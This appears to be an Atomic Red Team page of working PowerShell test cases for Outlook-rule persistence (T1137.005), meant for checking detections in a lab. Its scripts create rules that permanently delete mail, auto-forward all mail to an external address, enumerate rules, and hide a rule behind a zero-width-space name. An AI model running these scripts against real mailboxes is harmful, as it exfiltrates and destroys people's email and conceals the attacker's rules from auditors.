Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellwindowsOutlook Rule - Subject Trigger with DeletePermanently Action via COM Object
Creates a malicious Outlook rule via the COM object that permanently deletes
emails when an email with a specific subject keyword arrives. Simulates
adversary persistence via Outlook Rules (T1137.005). Uses DeletePermanently
action as it does not require a resolved Exchange folder unlike MoveToFolder.
NOTE: olRuleActionStartApplication cannot be created programmatically per
Microsoft's Rules object model - DeletePermanently is used as the supported
equivalent that generates the same rule-creation artefact.
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
session. Outlook COM fails with 0x80080005 when invoked as Administrator.
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
exit 1
}
$outlook = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules = $namespace.DefaultStore.GetRules()
$rule = $rules.Create("#{rule_name}", 0)
$cond = $rule.Conditions.Subject
$cond.Enabled = $true
$cond.Text = @("#{trigger_subject}")
$action = $rule.Actions.DeletePermanently
$action.Enabled = $true
$rule.Enabled = $true
$rules.Save()
Write-Host "[+] Rule '#{rule_name}' created. Emails with subject '#{trigger_subject}' will be permanently deleted."
powershellwindowsOutlook Rule - Sender Address Trigger with DeletePermanently Action via COM Object
Creates an Outlook rule via COM that permanently deletes emails received
from a specific sender address. Adversaries use sender-based triggers to
make rules appear more legitimate (e.g. disguised as a filter for a
specific colleague). Tests a different rule condition path through the
COM object model. Uses DeletePermanently as it does not require a resolved
Exchange folder unlike MoveToFolder.
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
session. Outlook COM fails with 0x80080005 when invoked as Administrator.
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
exit 1
}
$outlook = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules = $namespace.DefaultStore.GetRules()
$rule = $rules.Create("#{rule_name}", 0)
$cond = $rule.Conditions.From
$cond.Enabled = $true
$cond.Recipients.Add("#{trigger_sender}")
$cond.Recipients.ResolveAll() | Out-Null
$action = $rule.Actions.DeletePermanently
$action.Enabled = $true
$rule.Enabled = $true
$rules.Save()
Write-Host "[+] Sender-based rule '#{rule_name}' created. Emails from '#{trigger_sender}' will be permanently deleted."
powershellwindowsOutlook Rule - Auto-Forward Emails to External Address via COM Object
Creates an Outlook rule that automatically forwards all received emails to
an external address. Simulates Business Email Compromise (BEC) and insider
threat scenarios where adversaries establish forwarding rules to exfiltrate
mail. One of the most commonly observed real-world abuses of Outlook rules.
Detected by Exchange mail flow anomalies and Microsoft Secure Score
forwarding alerts.
NOTE: No actual email is forwarded during this test - the rule is created
but a trigger email is not sent. Run cleanup immediately after verification.
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
session. Outlook COM fails with 0x80080005 when invoked as Administrator.
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
exit 1
}
$outlook = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules = $namespace.DefaultStore.GetRules()
$rule = $rules.Create("#{rule_name}", 0)
$action = $rule.Actions.Forward
$action.Enabled = $true
$action.Recipients.Add("#{forward_to_address}")
$action.Recipients.ResolveAll() | Out-Null
$rule.Enabled = $true
$rules.Save()
Write-Host "[+] Auto-forward rule '#{rule_name}' created -> #{forward_to_address}"
Write-Host "[!] Run cleanup immediately after verifying rule creation in Outlook."
powershellwindowsOutlook Rules - Enumerate Existing Rules via PowerShell COM Object
Enumerates all Outlook rules configured on the local profile using the
PowerShell COM object. Simulates the discovery phase where an adversary
audits existing rules before implanting their own, or where a threat actor
tool such as Ruler lists rules to understand the environment. This
enumeration should itself generate telemetry - use it to validate that
your monitoring catches PowerShell spawning Outlook COM for recon purposes.
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
session. Outlook COM fails with 0x80080005 when invoked as Administrator.
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
exit 1
}
$outlook = New-Object -ComObject Outlook.Application
$rules = $outlook.GetNamespace("MAPI").DefaultStore.GetRules()
Write-Host "`n[*] Enumerating Outlook rules on local profile..."
Write-Host " Total rules found: $($rules.Count)`n"
for ($i = 1; $i -le $rules.Count; $i++) {
$r = $rules.Item($i)
Write-Host " Rule $i : Name='$($r.Name)' | Enabled=$($r.Enabled)"
}
if ($rules.Count -eq 0) {
Write-Host " (No rules configured)"
}
powershellwindowsOutlook Rule - Create Rule with Obfuscated Blank Name (MAPI Evasion)
Creates an Outlook rule with a zero-width space as its display name,
making it appear blank and invisible in the standard Outlook Rules UI.
Simulates the hidden inbox rule technique documented by Damian Pfammatter
(2018) and referenced in MITRE ATT&CK T1137.005 - adversaries use MAPI
editors or Ruler to blank PR_RULE_MSG_NAME so the rule does not appear
during casual rule auditing. Tests whether monitoring catches rules that
are invisible in the Outlook GUI but detectable via MFCMapi or
Get-InboxRule on Exchange. Uses PlaySound action as RunApplication
cannot be created programmatically per Microsoft's Rules object model.
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
session. Outlook COM fails with 0x80080005 when invoked as Administrator.
NOTE: Script is written to a temp file before execution to prevent the
ART executor's quote-wrapping from mangling the zero-width space bytes.
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
Write-Host "[-] This test must be run from a non-elevated PowerShell session."
Write-Host " Outlook COM fails with 0x80080005 when run as Administrator."
exit 1
}
$tmpScript = "$env:TEMP\T1137005_hidden_rule_create.ps1"
$lines = @(
'$hiddenName = [System.Text.Encoding]::Unicode.GetString([byte[]](0x0B, 0x20))',
'$outlook = New-Object -ComObject Outlook.Application',
'$namespace = $outlook.GetNamespace("MAPI")',
'$rules = $namespace.DefaultStore.GetRules()',
'$rule = $rules.Create($hiddenName, 0)',
'$cond = $rule.Conditions.Subject',
'$cond.Enabled = $true',
'$cond.Text = @("#{trigger_subject}")',
'$action = $rule.Actions.PlaySound',
'$action.Enabled = $true',
'$action.FilePath = "#{sound_file_path}"',
'$rule.Enabled = $true',
'$rules.Save()',
'Write-Host "[+] Hidden rule created with zero-width space name."',
'Write-Host "[*] Open Outlook via File -> Manage Rules and Alerts - rule name will appear blank."',
'Write-Host "[*] Verify rule exists via PowerShell COM enumeration (Test 4) or Get-InboxRule in Exchange."'
)
$lines -join "`n" | Set-Content -Path $tmpScript -Encoding UTF8
powershell.exe -NoProfile -ExecutionPolicy Bypass -File $tmpScript
Remove-Item $tmpScript -ErrorAction SilentlyContinue